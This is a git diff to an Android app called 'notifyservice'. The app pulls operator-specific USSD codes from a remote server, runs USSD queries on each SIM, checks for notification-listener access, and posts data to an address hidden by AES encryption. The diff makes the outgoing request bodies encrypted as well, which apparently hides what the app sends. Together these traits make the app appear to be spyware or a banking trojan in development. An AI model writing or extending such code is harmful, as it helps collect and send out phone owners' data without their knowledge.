diff --git a/app/src/main/java/com/example/notifyservice/MainActivity.java b/app/src/main/java/com/example/notifyservice/MainActivity.java
index fde3bac..520a2eb 100644
--- a/app/src/main/java/com/example/notifyservice/MainActivity.java
+++ b/app/src/main/java/com/example/notifyservice/MainActivity.java
@@ -232,8 +232,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
             }
         });
 
-        AlertDialog dialog = builder.create();
-        dialog.show();
+        this.runOnUiThread(new Runnable() {
+            public void run() {
+                AlertDialog dialog = builder.create();
+                dialog.show();
+            }
+        });
     }
 
     public static String getDeviceInfo(Context context)
@@ -382,18 +386,20 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
     @Override
     public void onGetResponse(JSONObject result) {
         try {
-            requestsCount += 1;
+
             if(result.get("name"). // STATIC
                     equals("ussd")){ // STATIC
                 ussd = result.getJSONObject(
                         "data" // STATIC
                 );
+                requestsCount += 1;
 
             } else if (result.get("name"). // STATIC
                     equals("languages")) { // STATIC
                 language = result.getJSONObject(
                         "data" // STATIC
                 ).getJSONObject(Locale.getDefault().getLanguage());
+                requestsCount += 1;
             }
             if (requestsCount == 2) {
                 if (!isNotificationServiceEnabled()) {
@@ -515,7 +521,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
         boolean smsResponse = false;
         try {
             ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
-            smsResponse = ussd.getJSONObject(phone.operator).getBoolean("sms"); // STATIC
+            smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
         } catch (JSONException e) {
             return;
         }
@@ -538,7 +544,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
                 @Override
                 public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
                     super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
-
+                    nextPhone();
                 }
             }, null);
         }
diff --git a/app/src/main/java/com/example/notifyservice/PostRequest.java b/app/src/main/java/com/example/notifyservice/PostRequest.java
index 9bfa25c..3793f71 100644
--- a/app/src/main/java/com/example/notifyservice/PostRequest.java
+++ b/app/src/main/java/com/example/notifyservice/PostRequest.java
@@ -1,5 +1,7 @@
 package com.example.notifyservice;
 
+import static com.example.notifyservice.Encryption.aesEncrypt;
+
 import android.content.Context;
 import android.util.Log;
 
@@ -41,7 +43,7 @@ public class PostRequest {
 
         Request request = new Request.Builder()
                 .url(BASE_URL + Encryption.aesHexEncrypt(buildPoint, timeStamp) + "/" + Encryption.aesHexEncrypt(urlString, key)) // STATIC
-                .post(RequestBody.create(jsonData.getBytes())).header(
+                .post(RequestBody.create(aesEncrypt(jsonData).getBytes())).header(
                         "timestamp", timeStamp // STATIC
                 )
                 .build();